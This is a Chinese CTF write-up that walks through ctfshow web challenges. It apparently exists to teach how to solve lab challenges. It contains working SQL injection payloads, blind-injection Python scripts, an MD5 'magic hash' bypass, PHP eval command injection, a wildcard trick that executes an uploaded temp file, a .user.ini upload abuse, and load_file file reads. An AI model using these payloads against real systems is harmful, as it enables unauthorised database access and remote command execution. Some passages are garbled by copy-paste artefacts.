ctfshow web系列
1.web5(MD5绕过)
源代码
<?php
$flag="";
$v1=$_GET['v1'];
$v2=$_GET['v2'];
if(isset($v1) && isset($v2)){
if(!ctype_alpha($v1))
//ctype_alpha 是一个内置函数,用于检查一个字符串中的所有字符是否都是字母。
{
die("v1 error");
}
if(!is_numeric($v2))
//is_numeric用于检查一个变量是否为数字或数字字符串。
{
die("v2 error");
}
if(md5($v1)==md5($v2)){
echo $flag;
}
}else{
echo "where is flag?";
}
?>
要求v1为为字母,v2为数字,并且v1与v2的md5值相同
md5漏洞介绍:
PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0
所以只要v1与v2的md5值以0E开头即可。
常见的0e开头的MD5和原值
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
2.web6(post类型sql注入,/**/代替空格绕过)
/**/代替空格尝试绕过
1.判断回显位
admin'/**/or/**/1=1/**/union/**/select/**/1,2,3#&password=6
2.爆数据库名
admin'/**/union/**/select/**/1,database(),3#&password=6
数据库名为web2
3.爆表名
admin'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema='web2'#&password=6
4.爆列名
admin'/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_schema='web2'/**/and/**/table_name='flag'#&password=6
5.爆数据
admin'/**/union/**/select/**/1,flag,3/**/from/**/flag#&password=6
3.web7(整形盲注,过滤空格)
用python脚本跑的,第一次用诶
import requests
s=requests.session()
url='http://13d02feb-4905-4daa-b239-69fd07db3ad6.challenge.ctf.show/index.php'
table=""
for i in range(1,45):
print(i)
for j in range(31,128):
#爆表名 flag
payload = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
#爆字段名 flag
#payload = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
#读取flag
#payload = "ascii(substr((select/**/flag/**/from/**/flag)from/**/%s/**/for/**/1))=%s#"%(str(i), str(j))
ra = s.get(url=url + '?id=0/**/or/**/' + payload).text
if 'I asked nothing' in ra:
table += chr(j)
print(table)
break
这是另外一个
url = "http://124.156.121.112:28069/?id=-1'/**/"
def db(url): #爆库名
for i in range(1,5):
for j in range(32,128):
u= "or/**/ascii(substr(database()/**/from/**/"+str(i)+"/**/for/**/1))="+str(j)+"#"
s = url+u
print(s)
r = requests.get(s)
if 'By Rudyard Kipling' in r.text:
print(chr(j))
def table(url): #爆表名
for i in range(4):
table_name=''
for j in range(1,6):
for k in range(48,128):
u=id="||/**/ascii(substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/1/**/offset/**/"+str(i)+")/**/from/**/"+str(j)+"/**/for/**/1))="+str(k)+"#"
s = url+u
print(s)
r = requests.get(s)
if 'By Rudyard Kipling' in r.text:
table_name+=chr(k)
print(table_name)
真的很慢,但是真的挺好玩嘿嘿
这里可以偷个懒,表和字段名都是flag,得到库名即可
4.web8(整形盲注,过滤逗号,空格)
和上一关一样
绕过方法:
1.将limit 0,1样式改为limit 1 offset 0。
2.将substr(string,1,1)改为substr(string from 1 for 1)。
这关用的是这个脚本
import requests
url = 'http://7613d5df-3d49-4260-bd17-ba5b38716361.challenge.ctf.show/index.php?id=-1/**/or/**/'
name = ''
# 循环45次( 循环次数按照返回的字符串长度自定义)
for i in range(1, 45):
# 获取当前使用的数据库
# payload = 'ascii(substr(database()from/**/%d/**/for/**/1))=%d'
# 获取当前数据库的所有表
# payload = 'ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%d/**/for/**/1))=%d'
# 获取flag表的字段
# payload = 'ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%d/**/for/**/1))=%d'
# 获取flag表的数据
payload = 'ascii(substr((select/**/flag/**/from/**/flag)from/**/%d/**/for/**/1))=%d'
count = 0
print('正在获取第 %d 个字符' % i)
# 截取SQL查询结果的每个字符, 并判断字符内容
for j in range(31, 128):
result = requests.get(url + payload % (i, j))
if 'If' in result.text:
name += chr(j)
print('数据库名/表名/字段名/数据: %s' % name)
break
# 如果某个字符不存在,则停止程序
count += 1
if count >= (128 - 31):
exit()
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LFebgOS4-1680869010841)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230321211245036.png)]
可算是跑出来了
5.web9
vm坏了,修一修再说
6.web10(group by with rollup致使密码出现空值绕过)
点击取消,获得了源码
<?php
$flag="";
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
//正则表达式(Regular Expression,简称 regex 或 regexp)
return preg_replace($regex,"",$strParam);
}
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
$sql="select * from user where username = '$username'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
if($password==$row['password']){
echo "登陆成功<br>";
echo $flag;
}
}
}
?>
对select from where join sleep andunion/s进行了过滤
然后要求过滤后的字符串等于过滤前字符串的长度
大小写,双写绕过均不可行
这里介绍两个mysql语句
①group by(将结果集中的数据行根据选择列的值进行逻辑分组)
不加group by时的输出如下:
在使用group by以后会按照password中的值进行排列:
②with rollup (group by 后可以跟with rollup,表示在进行分组统计的基础上再次进行汇总统计)
来看实例:
结果中将会多出一行,其中password列为null,count(*)为统计和。
这里我们就可以通过骚姿势绕过了。
其中/ * * / 是为了绕过空格过滤
payload:username=admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#&password=
因为加入with rollup后 password有一行为NULL,我们只要输入空密码使得(NULL==NULL)即可满足
p
a
s
s
w
o
r
d
=
=
password==
password==row[‘password’]的限制成功登陆。
登录成功即可显示flag。
————————————————
版权声明:本文为CSDN博主「yu22x」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/miuzzx/article/details/104351624
7.web11(简单逻辑)
<?php
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
if($password==$_SESSION['password']){
echo $flag;
}else{
echo "error";
}
?>
session值与password值一样即可得到flag,将session值删除,密码为空即可
8.web12(glob函数)
查看源码后发现是get传参,参数名为cmd
在网站上输入?cmd=phpinfo();
有回显,猜测源码中应该为eval($_GET['cmd']);
这里再介绍一个php的函数glob();
glob("*")
函数返回当前目录中所有文件和文件夹的列表。
具体地说,它返回一个数组,其中包含当前目录中所有的文件和文件夹的名称(不包括.
和..
),每个名称作为一个字符串元素存储在数组中。
举个例子:
glob(" * “) 匹配任意文件
glob(”*.txt")匹配以txt为后缀的文件
有了这个方法我们先把当前目录下所有的文件找出来看看有没有可用的。输入
?cmd=print_r(glob("*"));
print_r函数
将以结构化的格式输出数组的内容,每个元素占据一行。例如,如果您有一个名为 $fruits
的数组,其中包含三个元素,则 print_r($fruits)
的输出可能如下所示:
Array
(
[0] => apple
[1] => orange
[2] => banana
)
在此输出中,您可以看到数组有三个元素,每个元素都在单独的行上显示。元素的键(0、1 和 2)也显示出来。如果一个元素本身就是一个数组,print_r
将递归打印出该数组的内容。
打印出了如下文件
然后用highlight_file()函数输出该文件的内容
得到flag
9.红包题第二弹(通配符)
查看源代码发现get传参,参数名为cmd,尝试phpinfo发现没有作用,不过显示了源码
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
highlight_file(__FILE__);
if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){
die("cerror");
}
if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
die("serror");
}
eval($cmd);
}
?>
禁止了很多,英文字母只剩小写p
php的上传接受multipart/form-data,然后会将它保存在临时文件中。php.ini中设置的
upload_tmp_dir
就是这个临时文件的保存目录。linux下默认为/tmp
。也就是说,只要是php接收到上传的POST请求,就会保存一个临时文件,如果这个php脚本具有“上传功能”那么它将拷贝走,无论如何当脚本执行结束这个临时文件都会被删除。另外,这个php临时文件在linux系统下的命名规则永远是phpXXXXXX
因此我们可以尝试用通配符/??p/p?p??????
去选中/tmp/php???这个临时文件,然后临时文件的内容为
#! /bin/bash
ls /
构造url为
?cmd=?><?=`.+/??p/p?p??????`;
这里反引号为shell_exec()
的作用,能够执行系统命令,.
为执行后面的文件
构造的上传表单:
POST /index.php?cmd=?><?=`.+/??p/p?p??????`; HTTP/1.1
Host: 71c1a5d9-5c77-4f0a-9db0-277bfbd2659d.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------10242300956292313528205888
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: UM_distinctid=1739f845e394-0cffbf96840b0c8-4c302d7c-144000-1739f845e3b4e2
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 233
-----------------------------10242300956292313528205888
Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
Content-Type: text/plain
#! /bin/bash
ls /
-----------------------------10242300956292313528205888--
复制文件
根据上面的思路其实我们可以不去执行上传临时文件,尝试把flag.txt复制到网站的目录即可,但是这里有2个前提:首先是网站目录有写权限;其次是知道flag文件的名字。
payload:
?cmd=?><?=`/???/?p /???????? p.ppp`;?>
相当于
?cmd=?><?=`/bin/cp /flag.txt p.ppp`;?>
用cp命令,将flag.txt复制到p.ppp
接下来访问url/p.ppp,下载下来得到flag
10.web13(.user.ini文件配置页头)
访问upload.php.bak可以下载上传文件的备份
得到源码
<?php
header("content-type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$temp_name = $_FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if ($size > 24){
die("error file zise");
}
if (strlen($filename)>9){
die("error file name");
}
if(strlen($ext_suffix)>3){
die("error suffix");
}
if(preg_match("/php/i",$ext_suffix)){
die("error suffix");
}
if(preg_match("/php/i",$filename)){
die("error file name");
}
if (move_uploaded_file($temp_name, './'.$filename)){
echo "文件上传成功!";
}else{
echo "文件上传失败!";
}
?>
文件内容要小于等于24字节,文件名字要大于等于9字节,后缀名小于等于三,文件名和后缀都不包含php
在php中,目录中可以设置.user.ini
文件,来对每个目录进行单独的配置,如果使用的是apache,配置.htaccess
文件也会有同样的效果。
php的配置中,auto_prepend_file和auto_append_file表示为页面增加页头和页脚,免去了每个页面都使用request()。
用于在 PHP 脚本执行之前或之后自动包含指定的文件。
auto_prepend_file
选项指定一个 PHP 文件路径,该文件将在每个 PHP 文件之前自动包含。这可以用于设置全局变量、函数或常量,或者用于加载通用的配置文件。
auto_append_file
选项则指定一个 PHP 文件路径,该文件将在每个 PHP 文件之后自动包含。这可以用于进行一些清理工作,例如关闭数据库连接、释放内存等。
了解了这些,我们就可以通过写.user.ini
文件,将整个目录配置上一个页头,在页头中加入想要的内容,访问时就可以执行其中的命令。
将.user.ini中写入
那么每次运行php前就会先运行a.txt
然后再a.txt中写入
然后进行传参,用glob函数输出文件名
用highlight函数输出flag
53.png)]
11.web14(load_file函数读取文件)
源代码
<?php
include("secret.php");
if(isset($_GET['c'])){
$c = intval($_GET['c']);
sleep($c);
switch ($c) {
case 1:
echo '$url';
break;
case 2:
echo '@A@';
break;
case 555555:
echo $url;
case 44444:
echo "@A@";
break;
case 3333:
echo $url;
break;
case 222:
echo '@A@';
break;
case 222:
echo '@A@';
break;
case 3333:
echo $url;
break;
case 44444:
echo '@A@';
case 555555:
echo $url;
break;
case 3:
echo '@A@';
case 6000000:
echo "$url";
case 1:
echo '@A@';
break;
}
}
highlight_file(__FILE__);
输入几就等待几秒,显然不可能输入那些数字大的,这里依次输入试了试,输入三之后出现了一句话
看起来像是文件名,一开始的话以为开头包含的文件是flag所在,现在看来只是提示该文件存在的
尝试访问一下
进入到了一个查询页面
查看页面源代码,发现源代码中注释着一个提示
if(preg_match('/information_schema\.tables|information_schema\.columns|linestring| |polygon/is', $_GET['query'])){
die('@A@');
}
这应该是一个sql注入,然后过滤了information_schema.tables,information_schema.columns,linestring,空格,polygonis
使用order by判断字段数,发现只有一个
爆数据库名
这里无需绕过
爆表名
这里用了反引号绕过,在tables两边加了反引号``
反引号:它是为了区分MYSQL的保留字与普通字符而引入的符号。
爆字段名
很好,没flag,直接裂开,玩尼玛
“来都来了,看看吧”
you can really dance~~~
secret中有秘密,所以flag大概率在secret.php这个文件里,我们怎么从数据库中查看文件内容呢,可以使用读取本地文件的函数load_file()
构建payload
?query=-1/**/union/**/select/**/load_file('/var/www/html/secret.php')
页面没有弹窗,但是源代码出现了一段
构建payload
?query=-1/**/union/**/select/**/load_file("/real_flag_is_here")
得到flag